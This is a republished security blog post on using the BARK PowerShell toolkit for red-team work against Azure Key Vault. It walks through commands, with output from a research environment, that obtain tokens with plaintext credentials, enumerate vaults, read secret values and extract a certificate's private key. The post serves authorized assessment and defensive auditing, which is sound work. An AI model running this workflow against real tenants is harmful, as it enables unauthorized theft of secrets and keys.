URL has been copied successfully!
Azure Key Vault Tradecraft with BARK
URL has been copied successfully!

Collecting Cyber-News from over 60 sources

Brief

This post details the existing and new functions in BARK that support adversarial tradecraft research relevant to the Azure Key Vault service. The latter part of the post shows an example of how a red team operator may use these commands during the course of an assessment.

Authentication

Azure Key Vault is one of the few services in Azure with a dedicated API for data plane operations. When performing calls to the Azure REST API and the Azure Key Vault REST API, you must provide authentication in the form of a bearer token. That token must have the correct audience. BARK has the following functions for requesting tokens for use with the Azure REST API: Get-AzureRMTokenWithUsernamePassword Get-AzureRMTokenWithPortalAuthRefreshToken Get-AzureRMTokenWithClientCredentials Get-AzureRMTokenWithRefreshToken BARK has the following functions for requesting tokens for use with the Azure Key Vault REST API: Get-AzureKeyVaultTokenWithUsernamePassword Get-AzureKeyVaultTokenWithClientCredentials

Enumeration

BARK has the following function for enumerating key vaults via the Azure REST API: Get-AllAzureRMKeyVaults BARK has the following functions for enumerating key vault items via the Azure Key Vault REST API: Get-AzureRMKeyVaultSecrets Get-AzureRMKeyVaultSecretVersions Get-AzureRMKeyVaultKeys Get-AzureRMKeyVaultKeyVersions Get-AzureRMKeyVaultCertificates

Persistence

BARK has the following functions for manipulating permissions on key vaults and key vault items via the Azure REST API: New-AzureRMRoleAssignment New-AzureKeyVaultAccessPolicy

Collection/Credential Access

BARK has the following function for collecting key vault secret values via the Azure Key Vault REST API: Get-AzureRMKeyVaultSecretValue

Encryption/Decryption

BARK has the following functions for encrypting and decrypting data via the Azure Key Vault REST API: Protect-StringWithAzureKeyVaultKey Unprotect-StringWithAzureKeyVaultKey

An Example Walkthrough Showcasing these Functions

During a red team assessment, the operator may find they have read access into one or more Azure Resource Manager (ARM) subscriptions, giving them the ability to enumerate resources in the subscription(s). The operator wants to find all key vaults under a given subscription. First they must request a token with ARM REST API as the audience. There are several ways to do this and all depend on what level of access the operator has. We will go with a simple example: the operator has plaintext credentials for a valid user. With those credentials, the operator can use BARK’s Get-AzureRMTokenWithUsernamePassword to request a token:

$ARMToken = (Get-AzureRMTokenWithUsernamePassword `
-Username "Username@contoso.onmicrosoft.com" `
-Password "PlainTextPasswordGoesHere" `
-TenantID "contoso.onmicrosoft.com").access_token

Next, the operator can identify all subscriptions they have read access into with BARK’s Get-AllAzureRMSubscriptions function:

$Subscriptions = Get-AllAzureRMSubscriptions -Token $ARMToken

To find all key vaults under each subscription, the operator can use PowerShell to loop through each subscription and pass its ID to BARK’s Get-AllAzureRMKeyVaults:

$KeyVaults = $Subscriptions - %{
Get-AllAzureRMKeyVaults -Token $ARMToken -SubscriptionID $_.subscriptionid
}

Now the operator can attempt to enumerate secrets, keys, and certificates under each key vault; however, the Azure Key Vault REST API serves these operations, so they must first get a token with the correct audience. They can do that with BARK’s Get-AzureKeyVaultTokenWithUsernamePassword:

$KeyVaultToken = (Get-AzureKeyVaultTokenWithUsernamePassword `
-Username "Username@contoso.onmicrosoft.com" `
-Password "PlainTextPassword" `
-TenantID "contoso.onmicrosoft.com").access_token

Now the operator can use that token in conjunction with BARK’s key vault item enumeration functions to list those items under each key vault:

$KeyVaultSecrets = $KeyVaults - %{
Get-AzureRMKeyVaultSecrets `
-KeyVaultURL $_.properties.vaultUri `
-Token $KeyVaultToken
}
$KeyVaultKeys = $KeyVaults - %{
Get-AzureRMKeyVaultKeys `
-KeyVaultURL $_.properties.vaultUri `
-Token $KeyVaultToken
}
$KeyVaultCertificates = $KeyVaults - %{
Get-AzureRMKeyVaultCertificates `
-KeyVaultURL $_.properties.vaultUri `
-Token $KeyVaultToken
}

An example of what these variables look like from our research environment:

PS /> $KeyVaultSecrets 

contentType : application/x-pkcs12
id : keyvaultazurerbac.vault.azure.net/secrets/MyCertificate
managed : True
attributes : @{enabled=True; nbf=1731104193; exp=1733696793; created=1731104793; updated=1731104793; recoveryLevel=Recoverable+Purgeable; recoverableDays=90}
tags :

id : keyvaultazurerbac.vault.azure.net/secrets/Secret1
attributes : @{enabled=True; created=1728322075; updated=1728322075; recoveryLevel=Recoverable+Purgeable; recoverableDays=90}
PS /> $KeyVaultKeys - fl

kid : keyvaultazurerbac.vault.azure.net/keys/MyCertificate
attributes : @{enabled=True; nbf=1731104193; exp=1733696793; created=1731104793; updated=1731104793; recoveryLevel=Recoverable+Purgeable; recoverableDays=90}
tags :
managed : True

kid : keyvaultazurerbac.vault.azure.net/keys/MyKey
attributes : @{enabled=True; created=1731104478; updated=1731104478; recoveryLevel=Recoverable+Purgeable; recoverableDays=90; exportable=False}
tags :
PS /> $KeyVaultCertificates

id : keyvaultazurerbac.vault.azure.net/certificates/MyCertificate
x5t : ypNhbUwZJ1_9r1sc329hpgspReY
attributes : @{enabled=True; nbf=1731104193; exp=1733696793; created=1731104793; updated=1731104793}
tags :
subject :

The operator can attempt to read the value of a secret using BARK:

Get-AzureRMKeyVaultSecretValue `
-KeyVaultSecretID 'https://keyvaultazurerbac.vault.azure.net/secrets/Secret1' `
-Token $KeyVaultToken

Here is an example of what the output looks like from our research environment:

PS /Users/andyrobbins/Documents/SpecterOps/BHE/bloodhound-enterprise> Get-AzureRMKeyVaultSecretValue `
>> -KeyVaultSecretID 'https://keyvaultazurerbac.vault.azure.net/secrets/Secret1' `
>> -Token $KeyVaultToken - fl

value : secret1value
id : keyvaultazurerbac.vault.azure.net/secrets/Secret1/3d9ccebb6c7746a7a0a04ca92def08af
attributes : @{enabled=True; created=1728322075; updated=1728322075; recoveryLevel=Recoverable+Purgeable}
tags :

In the above example, “secret1value” is the plaintext value of the secret. The operator can also attempt to encrypt data using the key vault keys with BARK:

Protect-StringWithAzureKeyVaultKey `
-InputString "Attackers think in graphs" `
-KeyVaultURL "https://keyvaultazurerbac.vault.azure.net" `
-KeyName "MyKey" `
-KeyVersion "5286277fc7d24293a8fe4119f9781804" `
-EncryptionAlgorithm "RSA-OAEP" `
-Token $KeyVaultToken

An example of the command running and its output:

PS /> Protect-StringWithAzureKeyVaultKey `
>> -InputString "Attackers think in graphs" `
>> -KeyVaultURL "https://keyvaultazurerbac.vault.azure.net" `
>> -KeyName "MyKey" `
>> -KeyVersion "5286277fc7d24293a8fe4119f9781804" `
>> -EncryptionAlgorithm "RSA-OAEP" `
>> -Token $KeyVaultToken
Y67LhebfHbz5i1kYTWLRxyIlx0Dz6UzDf93Lk3bqnTquUQFj4EOnq96FWPgLBX0ScToGce4B-rHzYluQax6xMMY47QnkS-biZ4-FDxLf1l1kMwcG0oC2iles2ykRkrz9aWiuQxtIoXovK9lQAra5LvomTv_8X7j7Ngd9UflpEKIE0HqeNoQ7lqM9-Jjhx4RPJNjNg6_gRaGlNTJhyx89U2WabUDuK9jlkRJIh95rWMsZ8WWsUCQI-DnXe051jVA-JM3QoUKTleOm9Lur_vPpkhbPey5dJbGc4eZH33ECbKiJHElNLtHFKZdAOFvD1o3fYrQquLyD0DEc-pXeVGZKlA

The operator can also decrypt this data or any other data encrypted using this particular key:

Unprotect-StringWithAzureKeyVaultKey `
-InputString "Y67LhebfHbz5i1kYTWLRxyIlx0Dz6UzDf93Lk3bqnTquUQFj4EOnq96FWPgLBX0ScToGce4B-rHzYluQax6xMMY47QnkS-biZ4-FDxLf1l1kMwcG0oC2iles2ykRkrz9aWiuQxtIoXovK9lQAra5LvomTv_8X7j7Ngd9UflpEKIE0HqeNoQ7lqM9-Jjhx4RPJNjNg6_gRaGlNTJhyx89U2WabUDuK9jlkRJIh95rWMsZ8WWsUCQI-DnXe051jVA-JM3QoUKTleOm9Lur_vPpkhbPey5dJbGc4eZH33ECbKiJHElNLtHFKZdAOFvD1o3fYrQquLyD0DEc-pXeVGZKlA" `
-KeyVaultURL "https://keyvaultazurerbac.vault.azure.net" `
-KeyName "MyKey" `
-KeyVersion "5286277fc7d24293a8fe4119f9781804" `
-EncryptionAlgorithm "RSA-OAEP" `
-Token $KeyVaultToken

An example of the command running and its output:

PS /> Unprotect-StringWithAzureKeyVaultKey `
>> -InputString "Y67LhebfHbz5i1kYTWLRxyIlx0Dz6UzDf93Lk3bqnTquUQFj4EOnq96FWPgLBX0ScToGce4B-rHzYluQax6xMMY47QnkS-biZ4-FDxLf1l1kMwcG0oC2iles2ykRkrz9aWiuQxtIoXovK9lQAra5LvomTv_8X7j7Ngd9UflpEKIE0HqeNoQ7lqM9-Jjhx4RPJNjNg6_gRaGlNTJhyx89U2WabUDuK9jlkRJIh95rWMsZ8WWsUCQI-DnXe051jVA-JM3QoUKTleOm9Lur_vPpkhbPey5dJbGc4eZH33ECbKiJHElNLtHFKZdAOFvD1o3fYrQquLyD0DEc-pXeVGZKlA" `
>> -KeyVaultURL "https://keyvaultazurerbac.vault.azure.net" `
>> -KeyName "MyKey" `
>> -KeyVersion "5286277fc7d24293a8fe4119f9781804" `
>> -EncryptionAlgorithm "RSA-OAEP" `
>> -Token $KeyVaultToken
Attackers think in graphs

Key Vault certificates store their public portion within the certificate object and their private portion within a secret. The operator can correlate the certificate and secret identifiers to identify certificate private keys:

PS /> $KeyVaultCertificates

id : keyvaultazurerbac.vault.azure.net/certificates/MyCertificate
x5t : ypNhbUwZJ1_9r1sc329hpgspReY
attributes : @{enabled=True; nbf=1731104193; exp=1733696793; created=1731104793; updated=1731104793}
tags :
subject :

PS /> $KeyVaultSecrets - ?{$_.id -Match "MyCertificate"}

contentType : application/x-pkcs12
id : keyvaultazurerbac.vault.azure.net/secrets/MyCertificate
managed : True
attributes : @{enabled=True; nbf=1731104193; exp=1733696793; created=1731104793; updated=1731104793; recoveryLevel=Recoverable+Purgeable; recoverableDays=90}
tags :

Once identified, the operator can attempt to extract the certificate’s private key with BARK’s Get-AzureRMKeyVaultSecretValue:

Get-AzureRMKeyVaultSecretValue `
-KeyVaultSecretID 'https://keyvaultazurerbac.vault.azure.net/secrets/MyCertificate' `
-Token $KeyVaultToken

An example of the command running and its output:

PS /> Get-AzureRMKeyVaultSecretValue ` >> -KeyVaultSecretID 'https://keyvaultazurerbac.vault.azure.net/secrets/MyCertificate' `
>> -Token $KeyVaultToken

value : MIIKSAIBAzCCCgQGCSqGSIb3DQEHAaCCCfUEggnxMIIJ7TCCBhYGCSqGSIb3DQEHAaCCBgcEggYDMIIF/zCCBfsGCyqGSIb3DQEMCgECoIIE/jCCBPowHAYKKoZIhvcNAQwBAzAOBAgYtLHg2kTiowICB9AEggTYE4dHk5e1
<...>
7gfFlVo75bhSgNP+lCwT2QBKaWjnJEVY3S2fBdNyJuOgN7jDNrbl3GB4x0+s3zskSfWmiYr4CjA7MB8wBwYFKw4DAhoEFGGwk3FEdu1wvJ0S9pBtgJnDRQTRBBRx1GZ32FASyOlSVmzLndPh8z0JQgICB9A=
contentType : application/x-pkcs12
id : keyvaultazurerbac.vault.azure.net/secrets/MyCertificate/d622d2372bf94f85b4752d0a54ae4679
managed : True
attributes : @{enabled=True; nbf=1731104193; exp=1733696793; created=1731104793; updated=1731104793; recoveryLevel=Recoverable+Purgeable}
tags :
kid : keyvaultazurerbac.vault.azure.net/keys/MyCertificate/d622d2372bf94f85b4752d0a54ae4679

Conclusion

We use these commands primarily to validate Microsoft’s documentation on how these APIs function, in particular how ARM and Azure Key Vault APIs make authorization decisions. Defenders can use and build upon these functions to automate key vault inventory and audit processes. Professional red team operators can use and build upon these functions to perform authorized assessment-related actions like reconnaissance, credential access, and payload encryption and decryption.


Azure Key Vault Tradecraft with BARK was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

First seen on securityboulevard.com

Jump to article: securityboulevard.com/2024/11/azure-key-vault-tradecraft-with-bark/

Loading

Share via Email
Share on Facebook
Tweet on X (Twitter)
Share on Whatsapp
Share on LinkedIn
Share on Xing
Copy link